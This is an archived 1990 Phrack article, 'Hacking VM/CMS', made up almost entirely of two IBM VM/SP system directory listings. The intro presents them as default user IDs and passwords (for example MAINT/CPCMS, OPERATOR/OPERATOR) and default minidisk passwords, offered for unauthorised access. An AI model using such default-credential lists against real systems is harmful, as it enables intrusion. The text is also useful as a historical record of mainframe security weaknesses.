💾 Archived View for aphrack.org › issues › phrack30 › 4.gmi captured on 2021-12-04 at 18:04:22. Gemini links have been rewritten to link to archived content

View Raw

More Information

⬅️ Previous capture (2021-12-03)

-=-=-=-=-=-=-

                                ==Phrack Inc.==

                     Volume Three, Issue 30, File #4 of 12


                     /===================================\
                     |                                   |
                     |          Hacking VM/CMS           |
                     |                                   |
                     |                                   |
                     |              by Goe               |
                     |                                   |
                     \===================================/


This file written by Goe (my nickname).  Any comments or criticisms or
corrections are welcomed.  Anyone with a good knowledge can modify this.

The article's topic is the IBM VM/SP running CMS and using DIRMAINT.  I do not
know if it works in MVS/TSO or VSE.

The first table contains the original default IDs & passwords from IBM Corp.

The second table contains those default IDs & passwords that IBM customized for
its customer.

===============================================================================


	
**************************************************************
	
3380      SYSTEM DIRECTORY                                 *
	
**************************************************************
	
*
	
The addresses 123, 124, and 125 are virtual ad-        *
	
dresses.  The address 123 is critical since it is      *
	
used in DMKSYS, the directory, and the service en-     *
	
vironments of the Interactive Productivity Facil-      *
	
ity.  Do not change this address.  If you still want   *
	
to change it, remember it must be changed in           *
	
DMKSYS, all service environments, the 'DIRECTORY'      *
	
statement below, and in the 'MDISK' statements         *
	
found under the userid  'MAINT'.                       *
	
*
	
NOTE:  Remember these are only virtual addresses       *
	
not real addresses, so there is no need to change      *
	
them to match your hardware addresses.  More in-       *
	
formation is contained in the system Installation      *
	
Guide.                                                 *
	
*
	
**************************************************************
	


DIRECTORY 123  3380  VMSRES

	

	
**************************************************************
	
3380  SYSTEM RESERVED AREAS (NOT FOR MINIDISKS)        *
	
**************************************************************
	


USER $ALLOC$  NOLOG
 MDISK A01 3380 000 001 VMSRES R
 MDISK B01 3380 000 001 VMPK01 R
 MDISK E01 3380 000 001 VMPK04 R
 MDISK F11 3380 000 001 PROFPK R
 MDISK F21 3380 000 001 SQLPK  R

	


USER $TEMP$   NOLOG
 MDISK A09 3380 272 228 VMSRES R
 MDISK D09 3380 277 258 VMPK01

	


USER $TDISK$ NOLOG
 MDISK A08 3380 585 091 VMSRES R

	


USER $CPNUC$ NOLOG
 MDISK A02 3380 001 005 VMSRES R

	


USER $DIRECT$ NOLOG
 MDISK A03 3380 500 002 VMSRES R

	


USER $SAVSYS$ NOLOG
 MDISK A04 3380 006 011 VMSRES R
 MDISK B04 3380 012 056 VMPK01 R

	


USER $SYSERR$ NOLOG
 MDISK A06 3380 019 002 VMSRES R

	


USER $SYSCKP$ NOLOG
 MDISK A05 3380 271 001 VMSRES R

	


USER $SYSWRM$ NOLOG
 MDISK A07 3380 017 002 VMSRES R

	

	
**************************************************************
	
SYSTEM RELATED USERIDS                          *
	
**************************************************************
	


USER AUTOLOG1 NOLOG 512K 1M ABCDEG
 ACCOUNT 2 SYSTEM
 IPL CMS PARM AUTOCR
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 MDISK 191 3380 093 001 VMPK01 MR RAUTOLOG WAUTOLOG MAUTOLOG

	


USER CMSBATCH NOLOG 1M 2M G
 ACCOUNT 3 SYSTEM
 OPTION ACCT
 IPL CMS PARM AUTOCR
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 MDISK 195 3380 068 002 VMPK01 MR RBATCH   WBATCH   MBATCH

	


USER CMSUSER NOLOG 1M 3M G
 ACCOUNT 101 USER01
 IPL CMS
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 MDISK 191 3380 089 003 VMPK01 MR RCMS     WCMS     MCMS

	


USER EREP NOLOG 768K 2M FG
 ACCOUNT EREP IBMCE
 IPL CMS
 CONSOLE 01F 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 LINK MAINT 201 192 RR
 MDISK 191 3380 027 001 VMSRES WR READ     WRITE

	


USER GCS  NOLOG  5M 6M  G
 ACCOUNT GCS RECVM
 OPTION ECMODE DIAG98
 IPL GCS PARM AUTOLOG
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 595 595 RR
 LINK MAINT 59E 59E RR
 MDISK 191 3380 677 005 VMPK01 MR RGCS     WGCS     MGCS

	


USER IVPM1 NOLOG 3M   16M G
 ACCOUNT ACT4 IVPM1
 CONSOLE 009 3210
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 193 193 RR
 LINK MAINT 194 194 RR
 LINK MAINT 19D 19D RR
 MDISK 191 3380 883 001 VMSRES WR READ     WRITE

	


USER IVPM2 NOLOG  3M   4M G
 ACCOUNT ACT5 IVPM2
 CONSOLE 009 3210
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 193 193 RR
 LINK MAINT 194 194 RR
 LINK MAINT 19D 19D RR
 MDISK 191 3380 884 001 VMSRES WR READ     WRITE

	


USER MAINT CPCMS 16M 16M ABCDEFG
 ACCOUNT 1 SYSPROG
 OPTION ECMODE DIAG98
 IPL 190
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 MDISK 123 3380 000 885 VMSRES MW RSYSRES  WSYSRES  MSYSRES
 MDISK 124 3380 000 885 VMPK01 MW RSYSRES  WSYSRES  MSYSRES
 MDISK 127 3380 000 885 VMPK04 MW RSYSRES  WSYSRES  MSYSRES
 MDISK 129 3380 000 885 PROFPK MW RSYSRES  WSYSRES  MSYSRES
 MDISK 130 3380 000 885 SQLPK  MW RSYSRES  WSYSRES  MSYSRES
 MDISK 19D 3380 229 048 VMPK01 MW ALL      WMAINT   MMAINT
 MDISK 190 3380 502 037 VMSRES MW ALL      WMAINT   MMAINT
 MDISK 191 3380 144 010 VMSRES MW RMAINT   WMAINT   MMAINT
 MDISK 193 3380 117 027 VMSRES MW RMAINT   WMAINT   MMAINT
 MDISK 194 3380 044 027 VMSRES MW RMAINT   WMAINT   MMAINT
 MDISK 196 3380 028 016 VMSRES MW RMAINT   WMAINT   MMAINT
 MDISK 201 3380 767 023 VMSRES MW RMAINT   WMAINT   MMAINT
 MDISK 293 3380 790 027 VMSRES MW RCMSAUX  WCMSAUX  MCMSAUX
 MDISK 294 3380 862 021 VMSRES MW RCPAUX   WCPAUX   MCPAUX
 MDISK 295 3380 211 014 VMSRES MW RUSRMOD  WUSRMOD  MUSRMOD
 MDISK 296 3380 070 019 VMPK01 MW RCPAUX   WCPAUX   MCPAUX
 MDISK 319 3380 021 006 VMSRES MW ALL      WMAINT   MMAINT
 MDISK 393 3380 353 063 VMPK04 WR RMAINT   WMAINT
 MDISK 394 3380 416 076 VMPK04 WR RMAINT   WMAINT
 MDISK 396 3380 499 034 VMPK04 WR RMAINT   WMAINT
 MDISK 492 3380 664 011 VMPK01 MW RTSFOBJ  WTSFOBJ  MTSFOBJ
 MDISK 494 3380 864 011 VMPK01 MW RTSFAUX  WTSFAUX  MTSFAUX
 MDISK 496 3380 092 001 VMPK01 MW RIPCX    WIPCSX   MIPSX
 MDISK 497 3380 492 007 VMPK04 MW RMAINT   WMAINT
 MDISK 59E 3380 875 010 VMPK01 MW ALL      WMAINT   MMAINT
 MDISK 595 3380 682 031 VMPK01 MW RMAINT   WMAINT   MMAINT
 MDISK 596 3380 713 021 VMPK01 MW RGCSAUX  WGCSAUX  MGCSAUX

	


USER OLTSEP NOLOG 1M 1M FG
 ACCOUNT OLTSEP IBMCE
 OPTION REALTIMER ECMODE
 IPL 5FF
 CONSOLE 01F 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 19D 19D RR
 MDISK 5FF 3380 000 885 CEPACK MR READ     WRITE

	


USER OPERATNS NOLOG 1M  2M BCEG
 ACCOUNT 13 SYSPROG
 IPL CMS
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 MDISK 191 3380 154 001 VMSRES MR RIPCS    WIPCS    MIPCS
 MDISK 193 3380 201 008 VMSRES MR RIPCS    WIPCS    MIPCS

	


USER OPERATOR OPERATOR  3M 16M ABCDEFG
 ACCOUNT 2 OPERATOR
 CONSOLE 009 3215 T MAINT
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 MDISK 191 3380 209 002 VMSRES MR ROPER    WOPER    MOPER

	


USER SYSDUMP1 NOLOG 1M 1M BG
 ACCOUNT 16 SYSTEM
 IPL CMS
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 MDISK 123 3380 000 885 VMSRES RR
 MDISK 124 3380 000 885 VMPK01 RR
 MDISK 127 3380 000 885 VMPK04 RR
 MDISK 129 3380 000 885 PROFPK RR
 MDISK 130 3380 000 885 SQLPK  RR

	


USER TSAFVM NOLOG 4M 8M G
 ACCOUNT 1 xxxxxx
 OPTION MAXCONN 256 BMX ECMODE COMSRV ACCT CONCEAL REALTIMER
 IUCV ALLOW
 IUCV *CRM
 IPL CMS PARM AUTOCR
 CONSOLE 009 3215 A OPERATOR
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 LINK MAINT 492 192 RR
 LINK MAINT 494 494 RR
 MDISK 191 3380 675 002 VMPK01 MR
DEDICATE 300 4A0

	



===============================================================================


	
**************************************************************
	
3380      SYSTEM DIRECTORY                                 *
	
**************************************************************
	
*
	
The virtual address 123 is critical since it is        *
	
used in DMKSYS, the directory, and the service en-     *
	
vironments of the Interactive Productivity Facil-      *
	
ity.  Do not change this address.  If you still want   *
	
to change it, remember it must be changed in           *
	
DMKSYS, all service environments, the 'DIRECTORY'      *
	
statement below, and in the 'MDISK' statements         *
	
found under the userid  'MAINT'.                       *
	
*
	
NOTE:  Remember these are only virtual addresses       *
	
not real addresses, so there is no need to change      *
	
them to match your hardware addresses.  More in-       *
	
formation is contained in the system Installation      *
	
Guide.                                                 *
	
*
	
**************************************************************
	


DIRECTORY 123 3380 VMSRES

	

	
**************************************************************
	
EXPRESS STANDARD PROFILE FOR GENERAL PURPOSE USERIDS     *
	
**************************************************************
	


PROFILE EXPPROF
 IPL CMS PARM AUTOCR
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR

	

	
**************************************************************
	
3380  SYSTEM RESERVED AREAS (NOT FOR MINIDISKS)        *
	
**************************************************************
	


USER $ALLOC$  NOLOG
 MDISK A01 3380 000 001 VMSRES R                                       03131808
 MDISK A02 3380 000 001 VMGCS1 R                                       03131808
 MDISK A05 3380 000 001 VMPK01 R                                       03131808
 MDISK A06 3380 000 001 VMSTGE R                                       03131808
 MDISK A07 3380 000 001 PROFPK R                                       03131808
 MDISK A08 3380 000 001 SQLPK  R                                       03131808
 MDISK A09 3380 000 001 VMPK02 R                                       03131808
 MDISK A0A 3380 000 001 EDMD01 R                                       03131808

	


USER $TEMP$   NOLOG
 MDISK B01 3380 392 100 VMSRES R                                       03131808
 MDISK B02 3380 392 100 VMPK01 R                                       03131808

	


USER $TDISK$ NOLOG
 MDISK C01 3380 358 033 VMSRES R                                       03131808
 MDISK C02 3380 492 022 VMPK01 R                                       03131808

	


USER $CPNUC$ NOLOG
 MDISK D01 3380 001 005 VMSRES R                                       03131808

	


USER $DIRECT$ NOLOG
 MDISK E01 3380 492 002 VMSRES R                                       03131808

	


USER $SAVSYS$ NOLOG
 MDISK F01 3380 006 011 VMSRES R                                       03131808
 MDISK F02 3380 012 060 VMPK01 R                                       03131808

	


USER $SYSERR$ NOLOG
 MDISK F03 3380 019 002 VMSRES R                                       03131808

	


USER $SYSCKP$ NOLOG
 MDISK F04 3380 391 001 VMSRES R                                       03131808

	


USER $SYSWRM$ NOLOG
 MDISK F05 3380 017 002 VMSRES R                                       03131808

	

	
**************************************************************
	
SYSTEM RELATED USERIDS                          *
	
**************************************************************
	


USER AUTOLOG1 AUTOLOG1 512K 1M ABCDEG
INCLUDE EXPPROF
 ACCOUNT 2 SYSTEM
 MDISK 191 3380 094 001 VMPK01 MR RAUTOLOG WAUTOLOG MAUTOLOG           03131808

	


USER CMSBATCH CMSBATCH 1M 2M G
 ACCOUNT 3 SYSTEM
 OPTION ACCT
 IPL CMS PARM AUTOCR
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 MDISK 195 3380 095 002 VMPK01 MR RBATCH   WBATCH   MBATCH             03131808

	


USER CMSUSER CMSUSER 1M 3M G
INCLUDE EXPPROF
 ACCOUNT 101 USER01
 MDISK 191 3380 091 003 VMPK01 MR RCMS     WCMS     MCMS               03131808

	


USER EREP EREP 768K 2M FG
INCLUDE EXPPROF
 ACCOUNT EREP IBMCE
 LINK MAINT 201 192 RR
 MDISK 191 3380 021 001 VMSRES WR READ     WRITE                       03131808

	


USER GCS  GCS  5M 6M  G
 ACCOUNT GCS RECVM
 OPTION ECMODE DIAG98
 IPL GCS PARM AUTOLOG
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 595 595 RR
 LINK MAINT 59E 59E RR
 MDISK 191 3380 514 005 VMPK01 MR RGCS     WGCS     MGCS               03131808

	


USER IVPM1 IVPM1 3M   16M G
 ACCOUNT ACT4 IVPM1
 CONSOLE 009 3210
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 193 193 RR
 LINK MAINT 194 194 RR
 LINK MAINT 19D 19D RR
 MDISK 191 3380 868 001 VMSRES WR READ     WRITE                       03131808

	


USER IVPM2 IVPM2  3M   4M G
 ACCOUNT ACT5 IVPM2
 CONSOLE 009 3210
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 193 193 RR
 LINK MAINT 194 194 RR
 LINK MAINT 19D 19D RR
 MDISK 191 3380 869 001 VMSRES WR READ     WRITE                       03131808

	


USER MAINT CPCMS 6M 16M ABCDEFG
 ACCOUNT 1 SYSPROG
 OPTION ECMODE DIAG98
 IPL CMS
 IUCV *CCS P M 10
 IUCV ANY P M 0
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A

	


 MDISK 123 3380 000 885 VMSRES MW RSYSRES  WSYSRES  MSYSRES            03131808
 MDISK 124 3380 000 885 VMPK01 MW RSYSRES  WSYSRES  MSYSRES            03131808
 MDISK 126 3380 000 885 VMSTGE MW RSYSRES  WSYSRES  MSYSRES            03131808
 MDISK 127 3380 000 885 VMGCS1 MW RSYSRES  WSYSRES  MSYSRES            03131808
 MDISK 129 3380 000 885 PROFPK MW RSYSRES  WSYSRES  MSYSRES            03131808
 MDISK 130 3380 000 885 SQLPK  MW RSYSRES  WSYSRES  MSYSRES            03131808
 MDISK 131 3380 000 885 VMPK02 MW RSYSRES  WSYSRES  MSYSRES            03131808

	

	
19D - Help files
	
39D - Help files for NLS
	
19E - CMS extension disk. Most program products go here
	
190 - CMS nucleus and commands
	
191 - MAINT work disk and system dependent files
	
193 - CMS text / IPCS text / GCS interface texts
	
194 - CP text files and Maclibs
	
196 - HPO text files and Maclibs
	
201 - EREP files
	
293 - Aux and update files for CMS service
	
294 - Aux and update files for CP service
	
295 - CP/CMS EXPRESS/local service
	
296 - HPO aux and update files for service
	
3A0 - IPF online documentation
	
300 - VM/IPF system support, administration and operation dialogs
	
301 - IPF VM/VSE feature files
	
31A - Customer procedures and products not from VM/EXPRESS
	
310 - Maclibs for VM/IPF
	
319 - Some optional Program Products
	
393 - CMS source
	
394 - CP SOURCE
	
396 - HPO source
	
492 - TSAF
	
494 - TSAF
	
496 - IPCS service files
	
497 - IPCS source files
	
59E - GCS System disk extension
	
595 - GCS object code
	
596 - GCS service files
	


 MDISK 19D 3380 308 025 VMSRES MW ALL      WMAINT   MMAINT             03131808
 MDISK 39D 3380 333 025 VMSRES MW ALL      WMAINT   MMAINT             03131808
 MDISK 19E 3380 245 147 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 190 3380 494 037 VMSRES MW ALL      WMAINT   MMAINT             03131808
 MDISK 191 3380 088 010 VMSRES MW RMAINT   WMAINT   MMAINT             03131808
 MDISK 193 3380 061 027 VMSRES MW RMAINT   WMAINT   MMAINT             03131808
 MDISK 194 3380 022 027 VMSRES MW RMAINT   WMAINT   MMAINT             03131808
 MDISK 196 3380 684 016 VMSRES MW RMAINT   WMAINT   MMAINT             03131808
 MDISK 201 3380 567 023 VMSRES MW RMAINT   WMAINT   MMAINT             03131808
 MDISK 293 3380 590 027 VMSRES MW RCMSAUX  WCMSAUX  MCMSAUX            03131808
 MDISK 294 3380 663 021 VMSRES MW RCPAUX   WCPAUX   MCPAUX             03131808
 MDISK 295 3380 531 014 VMSRES MW RUSRMOD  WUSRMOD  MUSRMOD            03131808
 MDISK 296 3380 072 019 VMPK01 MW RCPAUX   WCPAUX   MCPAUX             03131808
 MDISK 3A0 3380 128 001 VMPK01 MR ALL      WMAINT   MMAINT             03131808
 MDISK 300 3380 097 015 VMPK01 MR ALL      WMAINT   MMAINT             03131808

	
MDISK 301 3380 001 049 EDMD01 MW ALL      WMAINT   MMAINT             03131808

 MDISK 31A 3380 870 003 VMSRES MW ALL      WMAINT   MMAINT             03131808
 MDISK 310 3380 112 016 VMPK01 MR ALL      WMAINT   MMAINT             03131808
 MDISK 319 3380 617 015 VMSRES MW ALL      WMAINT   MMAINT             03131808
 MDISK 393 3380 001 063 VMSTGE WR RMAINT   WMAINT                      03131808
 MDISK 394 3380 064 076 VMSTGE WR RMAINT   WMAINT                      03131808
 MDISK 396 3380 147 034 VMSTGE WR RMAINT   WMAINT                      03131808
 MDISK 492 3380 195 011 VMPK01 MW RTSFOBJ  WTSFOBJ  MTSFOBJ            03131808
 MDISK 494 3380 721 011 VMSRES MW RTSFAUX  WTSFAUX  MTSFAUX            03131808
 MDISK 496 3380 782 001 VMPK01 MW RIPCX    WIPCSX   MIPSX              03131808
 MDISK 497 3380 140 007 VMSTGE MW RMAINT   WMAINT                      03131808
 MDISK 59E 3380 181 010 VMPK01 MW ALL      WMAINT   MMAINT             03131808
 MDISK 595 3380 214 031 VMPK01 MW RMAINT   WMAINT   MMAINT             03131808
 MDISK 596 3380 700 021 VMSRES MW RGCSAUX  WGCSAUX  MGCSAUX            03131808

	

	
29E - 5748-RC1 (PVM) - 5748-XP1 (RSCS V1) - Update files
	
36E - 5748-RC1 PVM 191 disk
	
39E - 5748-RC1 (PVM) - 5748-XP1 (RSCS V1) - Source files
	
49E - 5748-RC1 (PVM) - 5748-XP1 (RSCS V1) - Text files
	


 MDISK 29E 3380 785 007 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 36E 3380 563 004 VMSRES RR RMAINT   WMAINT   MMAINT             03131808
 MDISK 39E 3380 181 045 VMSTGE WR RMAINT   WMAINT                      03131808
 MDISK 49E 3380 792 007 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808

	

	
348 - EP - ACF/NCP - NETVIEW - ACF/VTAM - ACF/SSP (VMFPARM DISK)
	


 MDISK 348 3380 001 002 VMGCS1 MR RMAINT   WMAINT   MMAINT             03131808

	

	
298 - 5664-280 VTAM 191
	
299 - 5664-280 VTAM Base disk
	
29A - 5664-280 VTAM Run disk
	
29B - 5664-280 VTAM Merge disk
	
29C - 5664-280 VTAM Zap disk
	
29D - 5664-280 VTAM Delta disk
	


 MDISK 298 3380 005 009 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 299 3380 200 024 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 29A 3380 156 010 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 29B 3380 224 020 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 29C 3380 244 005 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 29D 3380 860 020 VMGCS1 MR RMAINT   WMAINT   MMAINT             03131808

	

	
33F - 5664-289 ACF/SSP Base disk
	
340 - 5664-289 ACF/SSP Delta disk
	
341 - 5664-289 ACF/SSP Merge disk
	
342 - 5664-289 ACF/SSP Zap disk
	
343 - 5664-289 ACF/SSP Run disk
	


 MDISK 33F 3380 687 048 VMGCS1 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 340 3380 830 010 VMGCS1 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 341 3380 840 020 VMGCS1 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 342 3380 249 010 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 343 3380 110 046 VMGCS1 MR RMAINT   WMAINT   MMAINT             03131808

	

	
352 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Base disk
	
353 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Delta disk
	
354 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Merge disk
	
355 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Run disk
	
356 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Zap disk
	


 MDISK 352 3380 259 066 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 353 3380 325 010 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 354 3380 335 020 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 355 3380 355 088 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 356 3380 443 010 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808

	

	
349 - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) VMFPARM DISK
	
357 - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Base disk
	
358 - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Delta disk
	
359 - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Merge disk
	
35A - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Zap disk
	
35B - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Run disk
	


 MDISK 349 3380 003 002 VMGCS1 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 357 3380 453 066 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 358 3380 519 010 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 359 3380 529 020 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 35A 3380 637 010 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 35B 3380 549 088 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808

	

	
330 - 5664-204 NETVIEW Base disk
	
331 - 5664-204 NETVIEW Delta disk
	
332 - 5664-204 NETVIEW Merge disk
	
333 - 5664-204 NETVIEW Zap disk
	
334 - 5664-204 NETVIEW Run disk
	


 MDISK 330 3380 735 095 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 331 3380 647 010 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 332 3380 657 020 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 333 3380 677 010 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 334 3380 014 096 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808

	

	
29F - 5664-188 RSCSV2 Update files
	
39F - 5664-188 RSCSV2 User exits disk
	
49F - 5664-188 RSCSV2 Text disk
	
59F - 5664-188 RSCSV2 191 disk
	


 MDISK 29F 3380 129 004 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 39F 3380 799 004 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 49F 3380 803 010 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 59F 3380 208 006 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808

	

	
322 - 5664-283 VM/IS
	
326 - 5664-283 VM/IS
	
34A - 5668-905 Graphical Display and Query Facility (GDQF)
	
346 - 5668-AAA Query Management Facility (QMF)
	
347 - 5668-AAA Query Management Facility (QMF)
	
360 - 5664-329 Contextual File Search (CFSearch/370)
	
361 - 5664-370 Display Write/370
	
363 - 5668-890 Font Library Service Facility (FLSF)
	


 MDISK 322 3380 734 007 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 326 3380 166 010 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 34A 3380 164 052 VMSRES MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 346 3380 207 013 SQLPK  MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 347 3380 220 023 SQLPK  MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 360 3380 216 040 VMSRES MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 361 3380 768 027 VMSRES MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 363 3380 795 009 VMSRES MR RMAINT   WMAINT   MMAINT             03131808

	


USER OPERATNS OPERATNS 1M  2M BCEG
INCLUDE EXPPROF
 ACCOUNT 13 SYSPROG
 LINK MAINT 300 300 RR
 LINK MAINT 193 192 RR
 MDISK 191 3380 547 001 VMSRES MR RIPCS    WIPCS    MIPCS              03131808
 MDISK 193 3380 256 008 VMSRES MR RIPCS    WIPCS    MIPCS              03131808

	


USER OPERATOR OPERATOR  3M 16M ABCDEFG
 ACCOUNT 2 OPERATOR
 IPL CMS PARM AUTOCR
 CONSOLE 009 3215 T MAINT
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 LINK MAINT 300 300 RR
 MDISK 191 3380 545 002 VMSRES MR ROPER    WOPER    MOPER              03131808

	


USER SYSDUMP1 SYSDUMP1 1M 1M BG
INCLUDE EXPPROF
 ACCOUNT 16 SYSTEM
 LINK MAINT 300 300 RR
 MDISK 123 3380 000 885 VMSRES RR                                      03131808
 MDISK 124 3380 000 885 VMPK01 RR                                      03131808
 MDISK 126 3380 000 885 VMSTGE RR                                      03131808
 MDISK 127 3380 000 885 VMGCS1 RR                                      03131808
 MDISK 129 3380 000 885 PROFPK RR                                      03131808
 MDISK 130 3380 000 885 SQLPK  RR                                      03131808
 MDISK 131 3380 000 885 VMPK02 RR                                      03131808
 MDISK 191 3380 133 001 VMPK01 MR RSYSDUMP WSYSDUMP MSYSDUMP           03131808

	


USER TSAFVM TSAFVM 4M 8M G
 ACCOUNT 1 XXXXXX
 OPTION MAXCONN 256 BMX ECMODE COMSRV ACCT CONCEAL REALTIMER
 IUCV ALLOW
 IUCV *CRM
 IPL CMS PARM AUTOCR
 CONSOLE 009 3215 A OPERATOR
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 LINK MAINT 492 192 RR
 LINK MAINT 494 494 RR

	
DEDICATE 300 4A0

 MDISK 191 3380 206 002 VMPK01 MR                                      03131808

	


USER VSEMAINT VSEMAINT 1M 4M BG
INCLUDE EXPPROF
 ACCOUNT 211 DOSSYS
 LINK MAINT 300 300 RR

	
LINK MAINT 301 301 RR

 MDISK 191 3380 632 004 VMSRES MR RVSEMAIN WVSEMAIN MVSEMAIN           03131808

	


USER VSEIPO VSEIPO  16M 16M G

	

	
SAMPLE USERID TO RUN VSE/EXPRESS/IPO
	


 ACCOUNT 203 VSEIPO
 IPL 224

	
OPTION ECMODE BMX REALTIMER VIRT=REAL MAXCONN 050 STF  370E

 OPTION ECMODE BMX REALTIMER  MAXCONN 050
 IUCV *CCS PRIORITY MSGLIMIT 050
 CONSOLE 01F 3270
 SPECIAL 401 3270
 SPECIAL 402 3270
 SPECIAL 403 3270
 SPECIAL 404 3270
 SPECIAL 405 3270
 SPECIAL 406 3270
 SPECIAL 407 3270
 SPECIAL 408 3270
 SPECIAL 409 3270
 SPECIAL 40A 3270
 SPECIAL 40B 3270
